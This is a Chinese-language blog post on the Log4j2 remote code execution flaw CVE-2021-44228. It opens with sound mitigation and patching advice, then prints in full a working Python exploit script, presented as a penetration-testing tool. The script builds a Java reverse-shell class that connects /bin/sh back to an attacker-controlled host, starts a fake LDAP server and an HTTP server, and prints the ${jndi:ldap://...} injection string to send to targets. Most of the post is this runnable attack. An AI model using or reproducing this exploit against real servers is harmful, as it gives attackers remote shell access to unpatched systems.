log4j漏洞介绍
阿里巴巴长亭科技发现Apache Log4j2反序列化远程代码执行漏洞(CVE-2021-44228),随后更多细节被公开,攻击者可利用该漏洞构造恶意请求,触发远程代码执行, 由于log4j2的异步快速等优异特性,打日志对生产服务影响很小,国内外很多java服务器组件使用了,造成广泛影响。
解决办法
1. 缓解办法
a. 公司内部防火墙,禁止服务器发起外网链接,需要链接的进行打补丁后,特别的开放
b. 火绒热补丁
火绒热补丁,解决了,有些生产环境的服务器,不方便重启。
借助JVM的Attach机制, 将缓解代码注入运行中的目标JVM进程, 再使用ASM修改JVM中的org.apache.logging.log4j.core.lookup.JndiLookup方法的字节码, 达到无需重启禁用JndiLookup::lookup的目的.
也可以使用长亭科技提供的修复 参照https://github.com/zhangyoufu/log4j2-without-jndi.git
c. 添加服务器参数,使用下列方法之一
-
添加 “log4j2.component.properties” 文件,在里面增加配置 “log4j2.formatMsgNoLookups=true”
-
添加JVM启动参数 -Dlog4j2.formatMsgNoLookups=true
-
修改系统环境变量: FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
2. 一劳永逸解决办法
升级系统到log4j2 2.17最新版本
3. 对于安全测试人员,运维人员如何发现公司哪些服务器有log4j2的漏洞,可以使用log4j2的漏洞扫描工具
a. 使用长亭洞鉴(X-Ray)通过模拟浏览器爬虫,对资产进行精细化爬取,以攻击者视角深入挖掘互联网侧暴露的相关组件的Apache Log4j2远程代码执行漏洞
4. 对于安全测试人员,执行漏洞渗透测试
使用以下代码进行远程代码执行
# Remote Code Execution (RCE)
# Date: 11/12/2021
# Software Link: https://github.com/apache/logging-log4j2
# Version: versions 2.0-beta-9 and 2.14.1.
# Tested on: Linux
# CVE: CVE-2021-44228
import subprocess
import sys
import argparse
from colorama import Fore, init
import subprocess
import threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip , webport , lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[-] Something went wrong {e.toString()}')
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up fake LDAP server\n')
# create the LDAP server on new thread
t1 = threading.Thread(target=createLdapServer, args=(userip,webport))
t1.start()
# start the web server
httpd = HTTPServer(('localhost', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
if(javaver != 0):
print(Fore.RED + '[-] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
print(Fore.GREEN +"[+] Send me: "+sendme+"\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "
http://{}:{}/#Exploit".format
(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def header():
print(Fore.BLUE+"""
[!] CVE: CVE-2021-44228
[!] Github repo:
https://github.com/kozmer/log4j-shell-poc
""")
if __name__ == "__main__":
header()
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
#print(args.userip)
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "user interupted the program.")
sys.exit(0)